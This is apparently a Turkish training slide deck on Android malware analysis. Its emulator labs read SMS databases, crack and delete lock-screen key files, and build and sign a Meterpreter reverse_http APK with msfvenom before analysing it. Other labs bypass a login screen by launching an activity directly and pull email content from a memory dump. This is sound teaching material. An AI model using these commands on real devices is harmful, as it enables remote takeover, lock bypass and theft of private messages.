  40. 40. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] ● Uygulamalar çalıştırıldıktan sonra her seferinde bytecodeların Dalvik VM tarafından derlenmesine gerek kalmadan, uygulamaları native dillerine yakın bir hız ile çalıştırmayı ve şarj süresini arttırmayı amaçlayan bir teknolojidir. ● Dalvik VM’ye göre dezavantajı ise uygulamaların kapladığı alanın daha büyük olmasıdır.
  41. 41. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] APP COMPONENTS Android uygulamalar “component(bileşen)” adı verilen yapı taşlarından oluşmaktadır. Bu yapılar sistemin veya kullanıcının uygulamaya ulaşım sağladığı giriş noktalarıdır. Android mimarisinde derine inmeden önce; Android bir uygulama hangi temel bileşenlerden oluşmaktadır?, Bu bileşenler hangi görevleri içermektedir? gibi sorulara cevaplar arayacağız. 4 çeşit uygulama bileşeni bulunmaktadır. Bunlar; ● Activities ● Services ● Broadcast Receivers ● Content Providers Activities Yapılacak olan aktiviteleri, kullanıcının oluşturduğu etkileşimleri ifade eder. Örnek vermek gerekirse; bir mesaj uygulamasında giriş ekranı bir aktivite, mesaj gönderme alanı başka bir aktivite, gelen kutusuna baktığımız alan başka bir aktivite alanını temsil eder. Farklı sayfalardan oluşan yapılar genelde farklı aktiviteleri temsil eder. İleride açıklayacağımız “Login Ekranını Bypass Tekniği” ile bir aktiviteyi kullanmadan başka bir aktiviteyi çağıracağız. Services Hizmet, arka planda bir uygulamanın herhangi bir nedenden dolayı çalışması için genel amaçlı bir giriş noktasıdır. Uygulamanın genelde uzun süren işlemleri gerçekleştirmek için, kullanıcının önünde değil, arka planda işlem yapmasıdır. Uygulamanın servis özelliği sayesinde kullanıcı başka bir uygulama içerisindeyken de servis özelliğine sahip uygulama arka planda görevini yapmaya devam eder. Arka planda dosya indirilmesi ya da arka planda çalan bir müzik buna örnek verilebilir. Broadcast Receivers Yayın yapma mantığıyla oluşturulmuş olan çağrılara cevap vermek amacıyla oluşturulmuş bir bileşendir. Bu çağrılar genellikle sistem, arada başka uygulamalar tarafından yapılmaktadır. Veri kullanımının 3G’den Wi-Fi’ya geçişi, şarjın azaldığının duyurulması, bir dosyanın indiriminin tamamlandığının duyurusu, ekranın kapatıldığı duyurusu gibi yayınlar sistem tarafından yapılan anonslara örnek olarak verilebilir.
  42. 42. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Content Providers Uygulamaya ait verilerin diğer uygulamalarla paylaşımını sağlama amacıyla oluşturulmuş bir bileşendir. SQLite database’inde bulunan verilerin başka uygulamalar tarafından sadece okunmasını değil, content provider tarafından izin verilmişse değiştirilebilmesini de sağlar. Uygulama dünyasına ait güvenlik açısından çok önemli bu bilgilerden sonra, her zararlı yazılım analizcisi ya da her zafiyet araştırmacısı gibi sistem mimarisi üzerinde derin bilgi sahibi olmalıyız. Android cihazımızda dosyalama sistemi nasıl çalışmaktadır? Yetki sınıflandırması nasıl olmaktadır? Cihazımızda root olmalı mıyız? Bir zararlı, cihazımıza bulaştıktan sonra neden root yetkilerine sahip olmaya çalışmaktadır? gibi sorulara cevap verebilmek için derin olmasa da temel düzeyde bilgi sahibi olmalıyız. Linux dünyasında oluşturulan her yeni kullanıcı kendisine ait bir User ID (UID) değerine sahiptir. Android dünyasında ise bu durum oluşturulan her yeni uygulama için geçerlidir. Her uygulama ayrı bir kullanıcı gibi hareket eder. Bu sayede izinler kontrol edilir. Kullanıcı davranışı sergileyen her uygulama ancak kendisine ait bölgeye ulaşabilir. Bunu aşabilmek için kernel seviyesinde exploitlere ihtiyaç vardır. Zygote, android cihazlarda oluşturulan ilk process’e denir. Root yetkilerinde çalışır. Android mimarisi, processleri olabildiğince düşük yetkilerde çalıştırma üzerine tasarlanmıştır. Eğer zafiyetli bir process root yetkilerinde çalışıyorsa, cihazın kontrolünü ele geçirebilir. Bu yüzden root yetkisini cihazdaki diğer güvenilmeyen uygulamalara sonradan kazandırmak, cihazın kontrolünü kaybetme riski oluşturmaktadır. SYSTEM yetkisi ise Root ile User arasında yer alır. Root kadar güçlü haklara sahip değildir. /system/xbin dizini içerisinde SU dosyasına ait binary bilgileri bulunmaktadır ve cihazınızı root etmek için birçok yöntem bulunmaktadır. android.permission.READ_LOGS iznine sahip kötü niyetli uygulamalar rootlu cihazlarda diğer uygulamalara ait kritik log bilgilerini elde edebilmektedir. Log bilgilerinin nasıl okunduğu konusu ileride değinilecektir. Telefonumuzu neden root etmememiz gerektiği konusunda kafanızdaki soru işaretlerine cevap bulamadıysanız rootlu bir telefonun kötü niyetli birinin eline geçtiğinde neler yapabildiğine android kilit mimarisini inceleyerek bir uygulama ile beraber bakalım.
  43. 43. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama: Kilit Ekranınız Rootlu Telefonunuzda Sizi Koruyor Mu? - Kurmuş olduğumuz Android Emulatörü olan Genymotion’ı başlatıyoruz. - ADB kullanımında emulatörümüzün rootlu bir telefon davranışı sergilediğini, adb ile shell bağlantısı kurduğumuzda “whoami” sorusunu sorduğumuzda root cevabını aldığımızı hatırlıyoruz. - Shell bağlantısı kurduğumuz cihazımızda /data/data, /data/system gibi klasörlerde “root” haklarının sağladığı güç ile gezebiliyoruz. SMS Okunması - Öncelikli olarak telefondaki SMS’ler “telephony” paketi içerisindeki “databases” klasöründe tutulmaktadır. - “/data/data/com.android.providers.telephony/databases” - Paketler içerisindeki shared_prefs klasörleri uygulamaya ait ilk girişte kayıt edilen, tekrar tekrar sorulmasını engelleyen bilgileri içermektedir. - Burayla işimiz olmadığı için databases klasörüne geçiyoruz. - Android cihazlar sqlite3 veritabanını kullanır. Bu bilgiyi edindiğimize göre mmssms.db klasörünü “sqlite3 mmssms.db” komutu ile açıyoruz.
  44. 44. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] şekildeki gibi sqlite komut satırı karşımıza geldi. Artık MySQL’de yaptığımız gibi sqlite3 veritabanına ait sorguları yazabiliriz. “.tables” komutu ile veri tabanındaki tablolar listelenmiş, “select * from sms;” komutu ile de SMS tablosundaki bütün mesajlar ekrana bastırılmıştır. Pattern Tespiti Sıradaki konumuz ise ne kadar korunaklı bir patterne sahip olursanız olun bu kilidi kaldırmak “/data/system/gesture.key” dosyasını “adb shell rm /data/system/gesture.key” komutu ile silmek kadar kolay belirtmektir. Durumun ciddiyetini ortaya koyabilme adına bu uygulamamızda kilit ekranını kaldırmak yerine kilit patterninin ne olduğunu nasıl öğreniriz buna bakacağız.
  45. 45. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Android cihazlarda kilit patterni 1’den 9’a kadar numaralandırılmış 3x3 şeklindeki 9 adet tuşun, kullanıcının belirlediği kilit permütasyonu şeklinde tutulmaktadır. ------------------- | 0 | | 1 | | 2 | ------------------- | 3 | | 4 | | 5 | ------------------- | 6 | | 7 | | 8 | ------------------- Bu kombinasyon SHA1 ile parola özeti (hash) alınmış şekilde “/data/system/gesture.key” dosyasında bulunmaktadır. Bu işlem yapılırken bir salted (tuzlama) değeri kullanılmadığı ve 3x3 lük bir matrisin toplam oluşturabileceği kilit pattern sayısı belli olduğu için rainbow table adını verdiğimiz tüm ihtimallerin bulunduğu bir tablo oluşturulmuştur. İnternette birçok sitede bulabileceğiniz bu tabloyu; ● http://www.android-forensics.com/tools/AndroidGestureSHA1.rar adresinden indirebilirsiniz. Sıradaki işlemimiz ise daha önce öğrendiğimiz ADB programını kullanarak gesture.key dosyasını cihazdan çıkarmak olacaktır. Tabi bu işlemden önce emulatörünüze pattern kilidi koymayı unutmayınız, yoksa gesture.key bulunamadı hatası verecektir.
  46. 46. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] “od -t x1 gesture.key” komutu ile istediğimiz formatta değeri çekebiliyoruz. -t paremetresine “x1” getirerek hexa formatında veriyi almak istediğimizi belirtiyoruz. Elde ettiğimiz değeri internetten bulduğumuz gesture.key rainbow table içerisinde arıyoruz ve kilit ekranının 35428 olduğu sonucuna varıyoruz.
  47. 47. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] İnternette otomatik kilit ekranı kırma programları bulabilirsiniz. Biz burada işin teoride nasıl çalıştığından bahsettik. Android cihazlarda parolaların tutulma mantığına gelirsek, pattern kilitlerinden bir miktar farklı olduğunu gözlemleriz. Öncelikle salt değeri kullanılmakta ve parolanın soluna eklenen salt değeri MD5 ve SHA1 hashleri alınıp birleştirilerek “password.key” dosyasında tutulmaktadır. Salt değer ise “locksettings.db” dosyasında bulunmaktadır. şeklinde tutulmaktadır. Eğer ki rootlu telefonunuzda parolayı telefondan kaldırmak istiyorsanız “/data/system” klasörü altında, “rm *.key” yazmanız yeterli olacaktır. root@vbox86p:/data/system # rm *.key Password + Salted Değer Password+ Salted Değer | | SHA1 MD5 | | SHA1SUM + MD5SUM
  48. 48. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Statik Analiz Analiz süreci statik, dinamik ve network analizi olmak üzere 3 temel kısımdan oluşmaktadır. Statik analiz olarak tanımladığımız kısım, uygulamanın çalıştırılmaya başlanmadan incelendiği, uygulamanın davranışlarının ön plana alınmadan analizinin yapılmaya çalışıldığı kısmı kapsamaktadır. Bu süreç uygulamanın çalıştırılması için gerekli olan manifest dosyasındaki uygulama izinlerinin incelenmesinden, uygulama içerisindeki kelimeler ve kod parçalarını anlamlandırmaya kadar olan kısmı içerir. Statik analiz kısmına başlarken, statik analiz hakkında ön bilgi almamıza yardımcı olacak apk dosyasını oluşturmak için msfvenom kullanıacağız. Msfvenom payload oluşturmak için kullanılan oldukça kullanışlı bir programdır. Android cihazlara etkisini göstermesi için oluşturulacak apk dosyası, msfvenom ile şu komutla çalıştırılır. sudo msfvenom -p android/meterpreter/reverse_http LHOST=192.168.1.55 LPORT=2727 -o meterpreter.apk LHOST: Bu parametre bağlantı kurulabilmesi için gerekli olan IP adresini temsil eder. LPORT: Bu parametre yine bağlantı kurulabilmesi için açmak istediğiniz portu temsil eder. “android/meterpreter/reverse_http”: Bu parametre ise bir payload çeşididir. Pentest kısmından çok analiz kısmının açıklanmaya çalışıldığı bu dokümentasyonda zaten statik analiz kısmında çalıştırılmayacak olan bu kısım daha fazla ayrıntıya girilmeden uygulama kısmına geçilecektir. Görüldüğü üzere “meterpreter.apk” dosyası android cihazlar için çalıştırılabilir bir uygulama haline bürünmüş gibi gözükmektedir. Şimdi emulatörümüze sürükle bırak yaparak kurmayı deneyeceğiz.
  49. 49. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şekilde görüldüğü gibi bir hata ile karşılaştık. İlgili hatada bize apk uygulamasının bir sertifikasının olmadığını, yani imzalanmadığını söylüyor. Android Mimarisi konu başlığında anlatıldığı üzere bir apk dosyasının kurulabilmesi için imzalanmış olması gerekiyor gerekiyor. Bunun için önce imza oluşturup daha sonra bu imza ile oluşturulan meterpreter.apk dosyası imzalanmalıdır. İmza dosyası oluşturmak için; keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 - validity 10000 komutu kullanılır. Oluşturulacak key dosyası için bir parola belirlememizi ve dosya bilgileri için bize ait bilgiler sormaktadır. İstenilen cevaplar verildikten sonra my-release-key.keystore dosyası oluşur. Bu imza dosyası ile apk uzantılı dosyayı imzalamak için ise; jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore meterpreter.apk alias_name komutu kullanılır.
  50. 50. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şimdi başarılı bir şekilde imzalanan apk dosyasını tekrar emulatörümüze atmayı deneyeceğiz. Şekilde görüldüğü gibi uygulamamız “MainActivity” ismiyle kurulmuş bulunmaktadır. Çalıştırıldığı takdirde kötü niyetli kişinin kurbanı olmuş, meterpreter oturumu ile telefonunun uzaktan kontrolünü karşı tarafa vermiştir.
  51. 51. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şimdi kurulumu tamamlanan program çalıştırılmadan, bu bölümde üzerinde durulacak olan statik analiz kısmıyla ilgilenilecektir. Analiz işlemine başlanırken ilk olarak “manifest” dosyasındaki uygulamanın sahip olduğu izinlere bakılarak uygulama için gerekli olan izinlerden fazlası isteniliyor mu sorusu için analiz yapılır. Daha önce öğrenilmiş olan “apktool” programı ile “apk” dosyası decompiler edilir. “AndroidManifest.xml” dosyası herhangi bir metin editörü kullanılarak açılır.
  52. 52. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şekildeki bilgiler ile uygulamamızın; - İnternet erişimi - Wi-Fi ağına ulaşım hakkı - Network bilgisine ulaşım hakkı - Telefon görüşmelerini okuma hakkı - Mesaj yollama hakkı - Gelen kısa mesajları otomatik cevaplama hakkı, - Ses kaydı yapma hakkı - Telefon araması yapma hakkı - Rehberi okuma hakkı - Rehbere yeni kişi yazma hakkı
  53. 53. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Ayarları değiştirme hakkı - SD karta dosya yazma hakkı - Duvar kağıdını değiştirme hakkı - Kamerayı açma hakkı - Mikrofonu açma hakkı gibi yetkilere izin istediği görülmektedir. Fiziksel olarak telefonu birine vermekten farksız olan birçok izni onaylayarak sanal ortamda bir başkasına vermeye rıza gösteriyor ve uygulamanın kötü niyetli olduğundan şüphelenmiyor musunuz? Ayrıca “manifest” dosyası içerisindeki bilgilerden uygulamanın başladığı activity ismi ve uygulama ismi analiz edilebilir. Sıradaki işlemde apktool ile decompiler edilmiş olan uygulamamızın assembly kod karşılığı olan “smali” kodları incelenir. Smali dosyaları “/meterpreter/smali/com/metasploit/stage/” dizininde yer almaktadır. Yukarıdaki ekran görüntüsünde smali dosyalarına dönüşmüş class isimlerini gözlemleyebiliyoruz. İsmi payload ile başlayan class ismi bile uygulama hakkında kötü düşünceler beslememize neden olabilmektedir. Buradaki R.class dosyaları ile bir işimiz olmayacaktır. Çünkü o dosyalar Android Studio’da uygulama geliştirirken string değerlerinin tutulduğu yapılardır.
  54. 54. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] “MainBroadcast Receiver” dosyası ise android mimarisinde bahsettiğimiz “App Components” başlığı altında geçen Activities, Services, Content Providers’ lar gibi temel yapılardan biri olup, uygulamanın bir broadcast yayınına receive yapmasını sağlayan receiver classını oluşturmaktadır. Yorumlanması smali kod yazmayı ve okumayı bilmeyen kişiler için çok zor olan smali kodlarına göz gezdirilir. Kodunun anlaşılması için oldukça zor olan smali dosyaları içerisindeki; - currentDir - currentTime - payloadStart gibi stringlerin varlığını gözlemliyoruz ve dosya statik analizine kaldığımız yerden daha önce öğrendiğimiz “Androguard” programı ile devam ediyoruz. - Uygulamamızı “androlyze -s” komutu ile başlatabiliriz.
  55. 55. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Paket ismi, main activity ismi, class isimlerinin listelendiği programda apk içerisindeki metot isimlerini listeleyerek inceleyebiliriz.
  56. 56. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Metot isimlerinde ulaşılamayan, apk dosyasında geçen stringleri “d.get_strings()” komutu ile listeleyerek inceleyebiliriz. - Uzayan string listesinde 10.38.67.2 IP adresi dikkat çekmektedir. - Uygulamamızı oluştururken meterpreter oluşturmak amacıyla girmiş olduğumuz IP adresiyle aynı olan bu değer analizde fark edilmektedir. - Sıradaki işlemde smali kodlarından yorumlanmakta güçlük çekilen uygulamanın Java kodları görülecektir. - Daha önceden açıklanmış olan “Dex2Jar” programı kullanılarak, “./d2j-dex2jar.sh meterpreter.apk” komutuyla apk içerisindeki .dex uzantılı dosyaları .jar uzantılı dosyalara çevirilecektir. - “java -jar jd-gui-1.4.0.jar” komutu ile başlatılan JD-GUI programına .jar uzantılı dosya sürükle bırak yapılarak .jar dosyaları java uzantılı classlara decompiler edilecektir. - Ardından kodlar incelenebilir.
  57. 57. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - “Manifest” dosyası ve Androguard programından yapılan gözlemleme ile başlangıç activitysi olan MainActivity.class incelendiğinde burada mainactivity programında bir view yani uygulama için arayüz oluşturulmadığı gözlemlenir. - Son olarak uygulamanın StartService komutu ile bir service başlattığı ve bunun isminin MainService olduğu sonucuna ulaşılır. Service yapısının uygulama arka planda dururken çalışmasını sağlayan bir app component olduğu, App Components başlığı altında çok önemli olduğunu belirtmiştik. - Çalıştırılan MainService incelenir. - Mainservice içerisinde arka planda payload clasının start fonksiyonu çağrılır. - Payload Class’ı incelenir.
  58. 58. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Genel bir kod taramasından sonra başlatılan “start fonksiyonu” bulunarak ne yaptığı incelenir. - “startInPath” fonksiyonunun “filesdirectory” parametresi ile çağrıldığı gözlemlenir. - “startAsync” fonksiyonu bulunur.
  59. 59. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Thread oluşturarak Payload Class’ı içerisindeki “main metodunun” çağrıldığı gözlemlenir. - Bu aşamada main metodu incelenmeye başlanır. - Gerçekleştirilen işlemlerden sonra TCP mi HTTP mi bağlantısı yapılacağına karar verilerek ilgili fonksiyon çağırılır.
  60. 60. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Eğer TCP bağlantısı kurulacaksa URL adresinin split fonksiyonları ile parse edildiği ve socket bağlantısı oluşturulduğu gözlemlenir. - Yapılan bu uygulamada statik kod analizi kısmında kod okuma yeteneğinin analizde ne kadar başarılı olacağınız ile doğru orantılı olduğu sonucuna ulaşılır. Şimdi gerçek dünyadan, herkesin karşısına çıkan uygulamaları incelemeye devam edeceğiz; - “towelroot.apk” adında bir apk indirilir. - Androguard programı ile uygulamanın sahip olduğu izinler ve paket ismi incelenir. - Sadece internet izniyle çalışan programın, uygulama içerisinde izinleri değiştirip değiştirmediğinden şüphelenilerek strings değerlerine bakılır.
  61. 61. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Execute, exploit, fingerprint, httppost gibi stringlerden şüphelenilerek activityler incelenir. - Tek activityden oluşan program Dex2Jar ve JD-GUI programları kullanılarak java koduna decompiler edilir.
  62. 62. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - javaSuckAssReadTheKernelVersion, exploit, rootTheShit gibi değişik isimlendirmeyle yazılmış olan java kodunun incelenmesi sonucu, pratikde kullanıcı adına hiçbir şey yapmayı amaçlamadığı sonucuna ulaşılır. Obfuscation Uygulamalar her zaman statik analiz aşamasında yaptığımız gibi açık ve anlaşılabilir olmaz. İnsanların uygulamaların yorumlamasını güçlendirmek, kod analizi yapmasına olabildiğince engel olmak için kod karmaşıklaştırma tekniklerine başvurulur. Bu teknikler sayesinde decompiler işlemi sonucu uygulamanın kaynak kodunun elde edilmesinin önüne geçilmesi amaçlanır. Örnek olarak aşağıda C dilinde yazılmış bir obfuscated kod örneği verilmiştir.
  63. 63. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] JavaScript dilinde yazılmış bir obfuscated kod örneği aşağıda verilmiştir. Android programlar native dil olarak Java programlama dili kullanılarak yazılır. Bu yüzden android programlar için kullanılan obfuscation teknikleri arasında en popüler olanı Java dili için kullanılan popüler obfuscation aracı olan “Proguard” dır. Proguard obfuscation uygularken aynı zamanda apk boyutunu küçülterek, gereksiz kısımların varlığına son vermektedir. Peki proguard nasıl kullanılmakta ve tam olarak nasıl bir obfuscation tekniği uygulamaktadır? Aşağıda proguard programı kullanılmış bir android programının Dex2Jar programı ile .jar dosyasına çevrilmiş halinin JD-GUI altında decompiler edilmiş ekran görüntüsü verilmiştir.
  64. 64. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Statik analiz kısmında incelediğimiz programlardan farklı olarak class isimleri, fonksiyon isimleri ve variable değerleri bizler için anlamsız alfabetik harflerden oluşmaktadır. Aynı zamanda Dex2Jar programı ile oluşturulan string değerlerinin tutulduğu “R.class” dosyası oluşturulamamıştır. Apk boyutunun küçülmesi ile de analizinin yapılması zorlaştırılmıştır. Proguard programı Android Studio içerisine gömülü olarak gelmektedir. Harici olarak indirilmeye gerek duyulmayan bu özelliği uygulama geliştiricilerinin aktif hale getirmesi için build.grandle içerisindeki minifyEnabled değerini true yapması yeterlidir. Peki obfuscation yöntemiyle oluşturulmuş ve reverse edilmeye çalışılan apk dosyasındaki “id” değerlerinin karşılığı nasıl öğrenilir? R.class dosyası içerisinde olmayan id değerlerinin neye karşılık geldiğini öğrenmek için şu yöntem izlenir; - Öncelikle JD-GUI programı ile incelediğimiz programda öğrenilmek istenen “id” değeri belirlenir. - Şekil üzerinde “getString” metodu içerisindeki “2131165195” değerinin neye karşılık geldiği öğrenilmek istenmektedir. ,
  65. 65. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Bunun için öncelikle decimal olarak belirlenen bu değer hexadecimal formata çevrilmelidir. - 7F07000B değeri daha sonra kullanılmak üzere not alınır. Sıradaki işlemde daha önceden öğrenilmiş olan apktool yardımıyla apk dosyamız decompiler edilir. - Decompiler edilmiş apk klasörü açılarak “/res/values” altındaki “public.xml” dosyası açılır. - “public.xml” dosyası içerisinde not etmiş olduğumuz 7F07000B hexadecimal değeri aratılır.
  66. 66. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - “7F07000B” değerine karşılık gelen type ve name değeri not alınarak public.xml dosyası kapatılır. - Ekran görüntüsünde görüldüğü üzere “7F07000B” değerine karşılık gelen type “string” name ise “bSKbJypbBf” değeridir. - type kelimesine karşılık gelen değer “string” olduğu için “/res/values/” dizinindeki “strings.xml” dosyası açılır. - “strings.xml” dosyasında name=”bSKbJypbBf” ‘a karşılık gelen değer bulunur.
  67. 67. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] - Sonuç olarak JD-GUI programımızın reverse edemediği “2131165195” değerinin bir string type olduğu ve “180B525C72417B49C3E1FB9707470F8C9194F1FF996A” ‘ya karşılık geldiği sonucuna ulaşılır.
  68. 68. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Dinamik Analiz ve Network Analizi Uygulamanın çalışması esnasında davranışlarını inceleyerek yapılan analiz çeşidine dinamik analiz denir. Dinamik analiz içerisine debugger (hata ayıklayıcılar) ’lar yardımıyla çalışır durumdaki uygulamanın kodunda meydana gelen değişikliklerinin incelenmesi de dahildir. Çalışır durumdaki uygulamanın kod akışından, cihaz üzerinde yaptığı, yapmaya çalıştığı davranışların tamamı dinamik analize dahildir. Uygulamanın ağ içerisinde yaptığı istekler, iletişimler, değişiklikler ise network analizi dediğimiz alana girmektedir. Çeşitli programlar yardımıyla, genellikle uygulamanın çalışır durumda olduğu sırada ortaya konulan bu davranışlar; analizcinin, uygulamanın çalışma şeklini ve davranışlarını ortaya koymasında yardımcı olmaktadırlar. Dinamik analiz şu amaçlar için kullanılır: ● Uygulamanın run time yani çalışma esnasında yaptığı davranışları incelemek ● Uygulamaya dair zafiyet keşfinde bulunmak. ● Uygulamanın işleyişini değiştirerek, istediğimiz sonuca ulaşmak. Kaynak kodunu bilinen android uygulamalar için Android Studio debug modu ile kullanabilmektedir. Bunun için debug sembolleri belirlenen uygulamayı cihazımızda başlatmak için şu sembole tıklarız. Android Studio’nun alt tarafında yer alan Debug bölümünde ise debug işleminin başladığını görmekteyiz.
  69. 69. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Log Analizi Sıradaki özellik ise android log kayıtlarını görmemizi sağlayan “Logcat” ekranıdır. Android Studio üzerinde aşağıda yer alan bu ekran şu şekilde gözükmektedir. Bütün android log kayıtlarını gözlemlemek yerine, “No Debuggable Processes” yazan yerden istenilen uygulamanın spesifik olarak log kayıtları görüntülenebilmektedir.
  70. 70. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Logcat ekranı terminal ekranından “adb shell logcat” komutu ile başlatılabilmektedir. Birden fazla uygulama yerine tek bir uygulamanın log kayıtlarını görüntülemek için uygun regex komutları yazabilirsiniz. Aşağıdaki ekran görüntüsünde görüldüğü gibi id değeri bulunan “settings” yani ayarlar paketinin logcate’ e düşen log kayıtları görüntülenmektedir. “android.permission.READ_LOGS” iznine sahip kötü niyetli uygulamalar rootlu cihazlarda diğer uygulamalara ait kritik log bilgilerini elde edebilmektedir. Android Device Monitor bahsetmiş olduğumuz toolları içinde barındırarak uygulamaların dinamik analizi hakkında detaylı bilgiler almamızı sağlamaktadır.
  71. 71. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] “Tools- Android - Android Device Monitor” yolunu kullanarak ulaşabileceğiniz ADM’ ye ait ekran görüntüsü aşağıda verilmiştir. Sol tarafta processler, sağ tarafta dosya yönetim alanı ve aşağıda az önce öğrenilmiş olan logcat ekranı bulunmaktadır.
  72. 72. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Memory Analizi ADM kullanılarak çalışan bir process’in memory dökümü alınabilmektedir. Memory dökümü alınacak uygulama çalışır durumda olmalıdır. Zararlı yazılım analizinde kullanılan çok önemli yöntemlerden biri olan bellek inceleme işlemi, dump’ı alınmış uygulamaların çeşitli programlar yardımıyla incelenme işlemidir. ADM kullanılarak android bir cihazdaki uygulamanın bellek dökümünü almak için çalışan process seçilerek aşağıdaki ekran görüntüsünde görüldüğü gibi HPROF formatında dump alınabilir. Yukarıdaki ekran görüntüsünde görüldüğü üzere com.android.email uygulaması seçilerek imlecin gösterdiği ilgili Dump butonuna tıklanır. Daha sonra .hprof formatında dosya istenilen herhangi bir klasöre kaydedilir.
  73. 73. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] İlgili dizine gidilerek terminal ekranında “sudo strings com.android.email.hprof > ay.txt” komutu uygulanarak hprof formatındaki dump dosyasında geçen string değerleri ay.txt dosyası oluşturularak yazılır. Daha sonra ay.txt dosyası açılarak “@gmail.com” araması yapılır.
  74. 74. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Şekil incelendiğinde dumpını aldığımız mail uygulamasıyla Mucahid isimli “m3o.e.cey@gmail.com” kullanıcısından “Aysenurk-------@gmail.com” kullanıcısına “Yagmur” konu başlıklı bir mail atıldığı görülmektedir. Yukarıda verilen ekran görüntüsünde encode edilmiş şekilde bulunan; U2V2bWVrIGRhaW1hIGJlcmFiZXIgb2xtYWsgZGVnaWwsIHNlbnNpemtlbiBiaWxlIHNlbmluIG9sYWJp bG1la3Rpci4u metni base64 decoder yardımıyla ya da şekildeki gibi python gibi bir programlama dili kullanılarak decode edilerek mail içeriğine de ulaşılmış olur.
  75. 75. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama Sıradaki uygulama APP COMPONENTS başlığı altında üzerinde durulan “activity” yapısını anlatmaktadır. Bir uygulama activity yapıları sayesinde uygulama içerisindeki sayfa geçişlerini sağlar. Şekildeki uygulama “mainChecker” adında test ortamı için geliştirilmiş bir uygulamadır. Uygulama öğretilmiş olan Androguard programı kullanılarak, apk dosyasının paket ismi ve activity isimeri analiz edilir.
  76. 76. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Adb programı kullanılarak; ./adb shell am start com.anil.eventchecker/com.anil.eventchecker.admin_paneli komutu kullanılır ve admin_paneli activity’si doğrudan açılmaya çalışılır. Böylelikle program MainActivity classını çağırmadan parola sorulan ekranı geçerek direk admin panelinin olduğu activity’i çalıştırır.
  77. 77. [ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI] Uygulama geliştiricileri bu problemi aşmak için şu yöntemlere başvurmaktadırlar; - Sunucudan gelen parola giriş bilgisinin kontrolünü MainActivity’de değil ilgili activityde yaparlar. ya da - MainActivity’de rastgele bir değer oluşturarak, ilgili activity’de bunun kontrolünü yaparlar. Network Analizi Bu bölüm, uygulamanın dış dünyayla kurmaya çalıştığı etkileşimi ve başarılı olduğu durumda ağ içerisindeki diğer cihazlarla ilişkisini analiz etmeyi amaçlar. Bir uygulamanın network içerisindeki davranışını analiz etmek içinse wireshark, tcpdump, burpsuite gibi araçlar kullanılabilir. “~/Android/Sdk/emulator” dizini altında “sudo ./emulator -avd BGAEmulator” komutu ile Android Emulator başlatılır. Tcpdump binary dosyaları adb programı kullanılarak şekildeki gibi cihazın /data/local/tmp dizinine yazılır. Bu işlemi gerçekleştirmek için bulunulan dizine tcpdump binary dosyalarının indirilmesi gerektiği unutulmamalıdır. Bunun için ilgili paket;
